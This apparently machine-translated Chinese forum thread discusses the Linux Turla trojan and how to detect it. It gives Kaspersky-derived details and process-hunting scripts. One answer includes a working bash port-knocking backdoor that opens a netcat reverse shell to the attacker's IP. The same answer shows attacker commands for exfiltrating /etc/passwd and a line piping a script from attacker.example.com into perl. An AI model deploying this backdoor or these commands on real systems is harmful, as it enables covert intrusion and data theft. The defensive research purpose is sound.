有几篇文章描述了新发现的基于 Linux 的 Turla 木马。
但基本上,所有这些文章都重复相同的、非常有限的信息。任何人都可以提供更多详细信息,例如:
- linux机器是如何被感染的
- 是否涉及任何特权升级,或者整个事情只发生在受感染的用户(即 uid 1000)下
- 恶意软件代码在受感染机器上“活”在哪里
- 加上任何其他有趣的细节
有几篇文章描述了新发现的基于 Linux 的 Turla 木马。
但基本上,所有这些文章都重复相同的、非常有限的信息。任何人都可以提供更多详细信息,例如:
TURLA 是一个庞大而复杂的恶意软件家族的最后阶段。至少从 2010 年开始就有已知的 Windows 版本。这个 40 页的演示文稿是我见过的最全面的资源,无论是哪个平台。
一些 Windows 亮点
阶段 0:注入向量
水坑[Adobe 更新社会工程/Java 漏洞利用 ( CVE-2012-1723 )、Adobe Flash 漏洞利用或 Internet Explorer 6、7、8 漏洞利用]
第三方供应商妥协
第一阶段:侦察阶段
初始后门 - WipBot/Epic/TavDig
WipBot 是零日漏洞和 CVE-2013-3346 漏洞利用的组合
导出与 TURLA 同名的函数。没有其他相似之处
破坏调试和大多数恶意软件沙箱
多次处理跳跃,擦除自己的PE部分
卡巴斯基实验室报告中进一步描述
第 2 阶段:横向运动
完善C&C
进一步渗透网络
利用新的后门
获取域管理员凭据
第三阶段:图拉
丢弃在选定的机器上以进行长期妥协
机器可能会被入侵多年而不被发现
其他资源
Linux 亮点
用 C/C++ 编写的 Turla 模块
基于cd00r
可执行文件与多个库静态链接
其功能包括隐藏网络通信、任意远程命令执行和远程管理
它的大部分代码都基于公共资源
无法使用 netstat 检测到
不需要root权限
Linux 可执行文件特征
Linux 静态链接库
glibc2.3.2 - GNU C 库
openssl v0.9.6 - 一个较旧的 OpenSSL 库
libpcap - tcpdump 的网络捕获库
Linux C&C 详细信息
第一阶段 C&C 是硬编码的。已知活动@news-bbc.podzone[.]org
pDNS IP:80.248.65.183
Linux 启动/执行细节
进程需要两个参数:ID(用作“用于身份验证的魔术包”的一部分的数值)和现有网络接口名称
参数可以通过两种不同的方式输入:从 STDIN 输入,或者从 dropper 启动样本
输入ID和接口名,启动进程后,返回后门的进程PID
Linux 魔术包
静态链接 PCAP 库
获取原始套接字,应用过滤器,捕获数据包
检查 TCP 标头中的 ACK 号或 UDP 数据包正文中的第二个字节
如果满足条件,则执行跳转到数据包负载内容并创建常规套接字
Backdoor 使用新的 socket 连接到 Magic Packets 的源地址
后门报告自己的PID和IP,等待接收命令
使用“/bin/sh -c”脚本执行到达命令
最后的笔记
关于 linux 版本的一切都来自卡巴斯基的报告。不幸的是,此时检测似乎非常困难。
“虽然已知存在来自 Turla 框架的 Linux 变体,但我们还没有在野外看到任何变体。” - 卡巴斯基实验室
为了找到检测它们的方法,我一直在围绕概念和方法进行研究。
为此,我快速编写了一个以大致相同方式工作的小 bash 脚本。
从那里开始,有了一些关于 Un*x 概念的额外知识,我发布了我的清单,它可以帮助在任何系统中找到这个工作木马。
为了理解这是如何工作的,我写了这个:
(这必须在目标主机上运行,通过一些远程攻击、病毒或其他方式。)
#!/bin/bash
myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d ${3:-80} # port listen on attacker host
while true;do
while IFS=': ' read seq loci locp remi remp foo;do
[ -z "${seq//[0-9]}" ] &&
[ "$locp" == "$bport" ] &&
[ "$remp" != "0000" ] &&
myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
[ "$chksum" == "$myIpSum" ] &&
nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
done < /proc/net/tcp
read -t .5 -n 1
[ "$REPLY" == "q" ] && exit 0
done
这不是完全无法检测到的,但是...
特征
netstat
,同时保持监听攻击者的连接。注意:真正的木马也可以使用 SSL 和真正的 HTTP 标头来通过代理工作!!
这接受 4 个参数:
$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
myIpSUm
是加盐攻击者IP 的哈希值。可以使用渲染md5sum <<<SaltMyIP192.168.1.31
(Salt 可以在脚本中更改)。KnockDoorPort -> bport
是任何已经绑定的端口,在目标主机上使用(如果目标服务 SSH,则为 22 示例,但可以使用任何打开的端口)myPort -> rport
是本地攻击者用于传入连接的端口(80 看起来像传出 http 连接。当然攻击者必须是他主机上的 root!)-i
标志可用于bash
交互运行第一步是使用任何远程漏洞利用(例如shellshock
任何缓冲区溢出)来运行此脚本。
其次,攻击者必须知道目标的 IP,才能knock door
在端口 22 上发送一个
从攻击者的 IP使用(作为 root 监听 tcp 端口 80),等待目标的传入连接。
您正在目标外壳中记录器!
bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
样本:
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days, 6:19, 1 user, load average: 0.00, 0.01, 0.00
或者
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
tar -ztvf -
-rw-r--r-- root/root 1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root 611 2011-11-19 10:00 group
当脚本继续在目标主机上运行,并且没有打开攻击者的连接时,使用netcat
.
Knock
在端口 22 上完成一次,那里经常有很多连接失败。真实的壳 连接看起来像任何传出的 http 连接。
linux机器是如何被感染的
这是一个木马,所以这个问题并不重要......(参见Shellshock,示例)
是否涉及任何特权升级,或者整个事情只发生在受感染的用户(即 uid 1000)下
不,这样做的一个目标是允许攻击者寻找一种进行权限提升的方法。
恶意软件代码在受感染机器上“活”在哪里
无处不在:如果您将其作为附件运行,您可能知道将它们存储在哪里。如果它是从远程漏洞利用运行的,他们可以在运行后删除二进制文件。
如果Turla是二进制文件(C 编写),则必须将其存储在您的 Un*x 系统中的某个位置,并设置可执行标志才能运行。最近的文件系统允许在运行后删除它们,但 inode 必须保持不变!
这可以通过搜索在您的系统中运行但位于标准PATH
中的二进制文件来显示。
如果特洛伊木马是一个脚本,则只需将二进制文件链接到文件系统中,因此脚本可以被删除,甚至可以运行STDIN
,根本不存储。
wget -qO - http://attacker.example.com/virus.pl | perl
加上任何其他有趣的细节
请尝试我的 bash 脚本...
搜索分叉的 pid(其中 Parent Pid == 1)
grep PPid:\\s1$ /proc/*/status
搜索不运行二进制的进程 PATH
for pid in $(ps axho pid);do
readlink /proc/$pid/exe |
sed 's/\/[^\/]*$//'|
grep -q "^${PATH//:/$\|^}$" ||
printf "%10d %-16s %s\n" $pid "$(
sed 's/Name:[\t ]*//;q' /proc/$pid/status
)" "$(
readlink /proc/$pid/exe
)"
done
搜索长时间运行的进程
ps axho pid,etime,user,cmd
...
ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
脚本:搜索制作某种隐藏的过程:比较exe
和command line
for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do
printf "%10d %-40s %s\n" $pid "$(
readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)"
done
使用apparmor
,您可以观察访问tcp 堆栈(和/或udp 堆栈)的进程。
使用tcpdump
,有一个强大的工作,但一个有效的解决方案:
注意发出任何类型的请求的传出连接,不必立即成为答案,而是在收到第一个答案后立即发送下一个请求,然后不要关心最后一个请求的答案:收到exit
指令时会退出,说类似logout.
的东西可以作为当前会话的最后一个 http 请求驱动,但在收到任何http 响应之前关闭。
实际上,您必须找到一个传出连接,其中数据交换与传出连接的常规方案不匹配,而是server-start-incoming connection-server-stop的混合方案。
当然,这必须被捕获,因为没有连接是永久打开的。
进行系统调用统计(使用 apparmor)
感谢 alphanet 的这个想法
为每个正在运行的进程进行统计,并
将它们提交给贝叶斯工具以计算常规配置文件
为了在新进程与常规配置文件不匹配时(甚至当正在运行的进程发生更改)时发出警报。
鉴于 Turla 基于cd00r,不应该涉及任何特权升级。
cd00r作为普通用户应用程序运行,在一些预定义的端口上启动 inetd 服务。因此,删除 int 的执行权限应该足以阻止它。
sudo chmod o=r `which inetd`
回答“加上任何其他有趣的细节”
相关:(Agent.BTZ 或 Autorun,或其他各种名称,SillyFDC)